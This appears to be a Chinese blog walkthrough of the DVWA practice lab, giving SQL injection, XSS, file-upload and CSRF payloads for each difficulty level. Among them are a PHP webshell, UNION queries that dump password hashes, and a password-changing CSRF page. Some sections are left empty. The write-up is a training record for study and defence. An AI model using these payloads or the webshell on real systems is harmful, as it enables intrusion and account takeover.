欢迎光临
我们一直在努力

Web 漏洞靶场手记:DVWA 通关记录与绕过思路

一、前言

DVWA(Damn Vulnerable Web Application)是最经典的 Web 安全入门靶场之一,包含 SQL 注入、XSS、文件上传、CSRF 等常见漏洞类型,每种漏洞还设置了 Low → Medium → High 三个难度等级,帮助理解防御手段的演进及其局限性。

本文记录我的完整通关过程,重点放在三点:

  • 检测方法 — 怎么判断存在这个漏洞
  • 绕过技巧 — Medium/High 加了过滤后怎么绕过
  • 关键 Payload — 每一步实际生效的代码
  • 二、SQL Injection(SQL 注入)

    2.1 Low 难度 — 无过滤

    入口: SQL Injection 页面

    第一步:判断注入点

    输入 1 查询 User ID 为 1 的用户信息,页面正常返回。输入 1',页面报错:

    报错信息暴露了数据库类型(MySQL)和查询语句结构,说明参数直接拼接到 SQL 语句中,存在字符型注入。

    第二步:验证注入

    输入 1' AND '1'='1 → 正常返回

    输入 1' AND '1'='2 → 无返回

    因为 AND '1'='2 导致整个条件为假,没有数据返回,确认注入点可用。

    第三步:猜解列数

    输入 1' ORDER BY 2# → 正常返回

    输入 1' ORDER BY 3# → 报错

    # 用于注释掉 SQL 语句中后续的部分。ORDER BY 2 正常说明至少有 2 列,ORDER BY 3 报错说明只有 2 列。

    第四步:联合查询获取数据

    输入 ' UNION SELECT user,password FROM users#

    表 users 中的用户名和密码哈希被直接展示在页面上。密码是 MD5 哈希,可以到在线网站(如 cmd5.com)解密。

    Low 总结: 没有做任何过滤,字符型注入直接用 ' 闭合,UNION 查询即可拖库。


    2.2 Medium 难度 — 引号转义

    入口: SQL Injection 页面

    变化:采用了一种 SQL 注入防护机制,使用了 mysql_real_escape_string() 函数。但由于 SQL 查询语句中的参数没有被引号包裹,该函数并不能完全防止查询语句被篡改。 文本输入框被替换成了预定义的下拉列表,并且表单改用 POST 方式提交。

    但观察 URL 发现,Medium 把传参方式从 Cookie 改为了 POST,并且查询语句从:

    关键区别:不再用引号包裹参数,变成了数字型注入。

    这个时候我们需要用到 BurpSuite抓包工具

    点submit,抓包

    发送到重放器修改id,使用order by 猜列数同上

    输入联合查询语句

    输入 1 UNION SELECT user,password FROM users

    由于bp问题空格用"+"代替

    Medium 总结: 防御手段是转义引号,但查询方式改成了数字型(不再用引号包裹),所以完全不需要引号就能注入,但文本输入框被替换成了预定义的下拉列表,所以需要用到抓包工具。


    2.3 High 难度 — 跨页 + LIMIT

    入口: 点击 SQL Injection 后先进入一个输入页面,输入 ID 后点击 Submit 才跳到结果页面。

    变化:

    • 输入和结果分页
    • 查询加了 LIMIT 1
    • 无法直接使用 UNION(UNION 通常需要多行结果)

    绕过方法:

    利用 LIMIT 子句后的 # 注释符,同时注入 UNION SELECT:

    输入 1' UNION SELECT user,password FROM users#

    High 总结: LIMIT 1 限制了回显行数,但 UNION 注入的行数是根据后面的 SELECT 决定的,LIMIT 只影响第一个 SELECT 的结果。加上 # 注释掉 LIMIT,即可绕过。


    三、XSS(跨站脚本攻击)

    3.1 Reflected XSS(反射型)

    Low

    直接在输入框提交:

    <script>alert(1)</script>

    页面弹窗。因为服务器直接将输入拼接到 HTML 中返回。

    Medium

    输入 <script>alert(1)</script>,发现页面没有弹窗,查看源码发现 <script> 被过滤了。使用 <img> 标签绕过:

    <img src=x οnerrοr=alert(1)>

    <script> 标签被过滤,但 onerror 事件处理器没有过滤。

    High

    输入 <script>alert(1)</script> 不生效,所以用 HTML 事件属性绕过 script 过滤

    反射型 XSS 关键点: 三种难度展示了常见的防御演进:

  • 无过滤
  • 黑名单过滤特定标签
  • 更严格的过滤或输出编码

  • 3.2 Stored XSS(存储型)

    入口: XSS (Stored) 页面 — 留言板

    Low

    在 Name 框输入:

    <script>alert(1)</script>

    留言提交后,每次加载页面都会弹窗。因为代码持久化保存在数据库中,任何访问者都会触发。

    Medium

    <script> 被过滤,换成:

    <img src=x οnerrοr=alert(1)>

    存储型 XSS 关键点: 与反射型相比,存储型的危害更大——它影响所有访问用户,而不仅仅是构造链接的那个用户。


    3.3 DOM XSS

    入口: XSS (DOM) 页面

    Low

    观察地址栏,发现参数是 ?default=English。修改为:

    ?default=<script>alert(1)</script>

    前端 JavaScript 直接将参数内容写入页面 DOM,弹窗触发。

    Medium

    high

    DOM XSS 关键点: 攻击代码不经过服务器响应,完全在客户端执行。传统 WAF 无法检测。


    四、File Upload(文件上传)

    4.1 Low 难度 — 无限制

    上传一个 PHP webshell:

    <?php system($_GET['cmd']); ?>

    文件名为 shell.php,直接上传成功。

    访问上传路径验证:

    http://127.0.0.1/DVWA/hackable/uploads/shell.php?cmd=whoami

    Low 总结: 没有做任何文件类型检查。


    4.2 Medium 难度 — 前端校验绕过

    上传 shell.php 被拦截。查看请求发现,浏览器端检测了文件 MIME 类型。

    绕过方法: 先用 BurpSuite 开启代理拦截,修改 Content-Type:

    原始:Content-Type: application/x-php

    修改:Content-Type: image/jpeg

    放行后,文件上传成功。

    Medium 总结: 校验仅在客户端浏览器进行,服务端没有二次验证。用 BurpSuite 修改请求即可绕过。


    4.3 High 难度 — 图片马 + 文件包含

    上传 shell.php 被拦截,上传普通 jpg 图片可以。服务端使用了 getimagesize() 验证文件是否为真实图片。

    绕过方法:

    制作图片马。在命令行中:

    copy 1.jpg /b + shell.php /a shell.jpg

    或者用十六进制编辑器在图片尾部追加 PHP 代码。上传 shell.jpg 成功后,还需要配合 DVWA 的文件包含漏洞(File Inclusion)来执行其中的 PHP 代码。

    High 总结: 仅靠图片马不够,还需要其他漏洞配合才能执行代码。这是最接近真实场景的难度——服务端做了多重检查。


    五、CSRF(跨站请求伪造)

    5.1 Low 难度 — 无 Token

    入口: CSRF 页面

    页面提供一个修改密码的表单,需要输入当前密码和新密码。但抓包观察发现,修改密码的请求只包含两个参数:

    password_new=123456&password_conf=123456

    没有 Token 或其他来源校验。

    POC 构造:

    html:

    <html>

    <body>

    <img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123">

    </body>

    </html>

    当登录状态的用户访问这个页面时,浏览器自动发出 GET 请求,密码被静默修改。

    验证方法:

  • 浏览器 A 登录 DVWA(当前密码:password)
  • 新标签页打开 POC HTML
  • 回到登录页,用 admin123 登录成功
  • Low 总结: 敏感操作使用 GET 请求 + 无 Token = 经典 CSRF。


    5.2 Medium 难度 — Referer 校验

    修改密码时增加了一个 sticky 参数,并且服务端校验了 HTTP Referer 头。

    绕过方法: 如果目标站点允许从 HTTPS 到 HTTP 或同域名逻辑不严谨,可以尝试构造同目录下的 POC 页面。或者利用 <meta> 标签伪造 Referer 头。


    5.3 High 难度 — Token 验证

    TL;DR: 需要从页面中提取 Token 再提交,无法通过简单的页面访问完成攻击。这就是为什么现在的网站都用 CSRF Token 防御。


    六、通关总结

    各漏洞最关键的认知

    漏洞最核心的一句话
    SQL 注入 永远不要信任用户输入,用参数化查询(PreparedStatement)而不是拼接字符串
    XSS 根本原因是没有对用户输入做输出编码;黑名单过滤一定能绕
    文件上传 只校验 Content-Type 和只校验文件后缀都是不够的,需要内容级验证
    CSRF 对来源不做校验的接口,在用户不知情的情况下被任意操作

    DVWA 难度递进设计的理解

    Low(无防御) → 了解漏洞长什么样

    Medium(常见但不完善的防御) → 学习绕过技巧,理解防御为什么不够

    High(相对完善的防御) → 接近真实场景,可能需要组合漏洞才能利用

    赞(0)
    未经允许不得转载:171主机测评 » Web 漏洞靶场手记:DVWA 通关记录与绕过思路
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址